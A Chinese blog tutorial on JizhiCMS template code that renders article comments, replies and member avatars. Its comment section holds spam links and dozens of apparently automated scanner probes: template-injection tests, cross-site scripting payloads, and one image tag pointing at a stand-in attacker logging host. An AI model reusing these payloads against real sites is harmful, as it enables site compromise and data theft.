当前位置:首页 > CMS系统 > JizhiCMS > JizhiCMS详情页面评论输出评论和会员信息

JizhiCMS详情页面评论输出评论和会员信息

鲁豫3年前 (2022-07-26)JizhiCMS3085

JizhiCMS详情页面评论输出评论和会员信息,本示例对官方的稍作修改

1、会员评论表单,限制登录才可评论

{if($islogin)}
<form action="{fun U('Comment/index')}" onsubmit="return checkForm()" method="POST">
<input name="go" value="1" placeholder="表示"  id="go" type="hidden" />
<input name="tid" value="{$type['id']}"  type="hidden" />
<input name="aid" value="{$jz['id']}" placeholder="文章ID"   type="hidden" />
<input name="zid" value="0" id="zid" placeholder="评论层ID"  type="hidden" />
<input name="pid" value="0" id="pid" placeholder="回复层ID"  type="hidden" />
<div class="form-group" >
	<textarea class="form-control" id="comments" name="body" rows="5" placeholder="文明的评论是交流的开始~"></textarea>
</div>
	<div class="form-group" style="text-align:right"><button class="btn btn-primary btn-inline" type="submit">提交</button></div>
</form>	
{else}
<p class="mb-1">登录后才可以评论~<a href="{fun U('Login/index')}" >立即登录</a></p>
{/if}

可以自行对比官方示例,增加了会员头像判断是否设置,未设置显示默认头像

默认头像地址{$common}user/images/login.png,可以换成自己网站路径

2、判断是否有评论和显示评论内容

<!--判断是否有评论,调用前面的参数-->
{php $comment = show_comment($jz['tid'],$jz['id'])  /}
{if($comment['data'])}

{foreach $comment['data'] as $v}
{if($v['level']==0)}
<!--评论楼层,level=0代表第一层,且回复的主题-->
<div class="media mt-2">
    <img class="mr-3 avatar-sm rounded-circle" src="{if(!$v['userinfo']['litpic'])}{$common}user/images/login.png{else}{$v['userinfo']['litpic']}{/if}" alt="{$v['userinfo']['username']}">
    <div class="media-body">
        <h5 class="mt-0"> <a id="comment_level_{$v['id']}" href="#">{$v['userinfo']['username']}</a> <span>{fun date('Y-m-d H:i:s',$v['addtime'])}</span></h5>
        {$v['body']}
		<!--登录后才可以显示回复-->
		{if($islogin)}
		<p class="text-right"><a href="javascript:;" onclick="comment({$v['id']},{$v['id']})"><i style="font-size:15px;" class="icon-bubbles">回复</i></a></p>
		{/if}
		<!--判断是否有楼中楼回复-->
		{if($v['haschild'])}
		{foreach $comment['data'] as $vv}
		<!--判断获取本层回复楼中楼-->
		{if($vv['zid']==$v['id'])}
        <div class="media mt-1">
            <a class="pr-3" href="{fun U('user/active',['uname'=>$vv['userinfo']['username']])}">
                <img src="{if(!$vv['userinfo']['litpic'])}{$common}user/images/login.png{else}{$vv['userinfo']['litpic']}{/if}" class="avatar-sm rounded-circle" alt="{$vv['userinfo']['username']}">
            </a>
            <div class="media-body">
                <h5 class="mt-0"><a href="{fun U('user/active',['uname'=>$vv['userinfo']['username']])}" id="comment_level_{$vv['id']}">{$vv['userinfo']['username']}</a> <span>{fun date('Y-m-d H:i:s',$vv['addtime'])}</span></h5>
					<!--楼中楼回复带@回复主题用户-->
				<p>{if($vv['pid']!=$v['id'])}<b style="color:green;cursor:pointer;">@{fun get_comment_user($vv['pid'])}  </b>{/if}
				{$vv['body']}</p>
				{if($islogin)}
				<p style="text-align:right;"><a onclick="comment({$v['id']},{$vv['id']})" href="javascript:;"><i style="font-size:15px;" class="icon-bubbles">回复</i></a></p>
				{/if}
            </div>
        </div>
		{/if}
		{/foreach}
		{/if}
    </div>
</div>
{/if}
{/foreach}
{else}
<div class="reviews">
	<div class="review-item">
	暂无评论
	</div>
</div>
{/if}

3、循环里面输出会员头像和信息,以下展示一楼输出方式

{if(!$v['userinfo']['litpic'])}{$common}user/images/login.png{else}{$v['userinfo']['litpic']}{/if}

输出会员昵称

{$v['userinfo']['username']}


文章出处: 阅读原文

版权声明:本文由微站Blog发布,如需转载请注明出处。

免责声明:微站技术博客所有资料搜集整理于互联网或者网友提供,并且以计算机技术研究交流为目的,仅供大家参考、学习,不存在任何商业目的与商业用途。资料获取后24小时内请删除资料,不得用于任何商业用途。否则后果自负!博主不保证资料的安全性!也不承担任何责任!切勿用博主分享的任何资料运营!

本文链接:https://www.vzcc.cc/post/43.html

分享给朋友:

“JizhiCMS详情页面评论输出评论和会员信息” 的相关文章

评论列表

访客
访客 IP:
9个月前 (07-06)

网站做得不错http://p39y.http://3bi.net/post/2435.html/

访客
访客 IP:
9个月前 (07-06)

东方不败还是灭绝师太啊?http://5dii.http://3bi.net/post/2435.html/

访客
访客 IP:
9个月前 (07-06)

感觉不错!http://rz9lhv.llgtx.cn/

访客
访客 IP:
9个月前 (07-06)

楼上的这是啥态度呢?http://3bi.net/post/2435.html/

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

1'"()&%Dlw8(9922)

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

'"()&%Dlw8(9761)

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

19936312

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

bfg1223<s1﹥s2ʺs3ʹhjl1223

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

bfgx5423

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb{{98991*97996}}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb{{98991*97996}}xca

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

dfb{98991*97996}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb${98991*97996}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb#{98991*97996}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb{#98991*97996}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb{@98991*97996}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb{{=98991*97996}}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb@(98991*97996)xca

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

dfbxca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb#set($x=98991*97996)${x}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb{{"abc"|title}}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

print("dfb" . 98991*97996 . "xca");

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

98991*97996*98991*97996

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

dfb{@math key=98991 method="multiply" operand=97996/}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb{{{this}}}xca

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

#{98991*97996*98991*97996}

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb#{xca}=123

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb{{'abcd'.toUpperCase()}}xca

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb{{98991*97996}}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb[[${98991*97996}]]xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb__${98991*97996}__::.x

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

bfg5177<s1﹥s2ʺs3ʹhjl5177

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

bfgx9932

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

dfb{{98991*97996}}xca

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

dfb{{98991*97996}}xca

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

dfb{98991*97996}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb${98991*97996}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb#{98991*97996}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb{#98991*97996}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb{@98991*97996}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb{{=98991*97996}}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb@(98991*97996)xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfbxca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb#set($x=98991*97996)${x}xca

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

dfb{{"abc"|title}}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

print("dfb" . 98991*97996 . "xca");

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

98991*97996*98991*97996

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb{@math key=98991 method="multiply" operand=97996/}xca

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

dfb{{{this}}}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

#{98991*97996*98991*97996}

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

dfb#{xca}=123

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb{{'abcd'.toUpperCase()}}xca

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb{{98991*97996}}xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb[[${98991*97996}]]xca

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

dfb__${98991*97996}__::.x

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1Dlw8(9618)

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1CILRB[!+!]

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1Dlw8(9522)

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1Dlw8(9638)9638

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

1˂ScRIpT˃Dlw8(9890)˂/sCrIpT˃

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1Dlw8(9154)

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

1Dlw8(9752)

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

1" onerror=alert(9145)˃

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

%31%3C%53%63%52%69%50%74%20%3E%44%6C%77%38%289561%29%3C%2F%73%43%72%69%70%54%3E

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1\u003CScRiPt\Dlw8(9006)\u003C/sCripT\u003E

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1<ScRiPt>Dlw8(9335)</sCripT>

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

1}body{zzz:Expre/**/SSion(Dlw8(9304))}

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1mB2GU
Dlw8(9805)

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1S1YHV[!+!]

RDFYjolf
RDFYjolf IP:广东省
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1˂img sRc='http://attacker-9187/log.php?

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1˂aQc9Djx˂

RDFYjolf
RDFYjolf IP:
8个月前 (07-19)

1

发表评

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。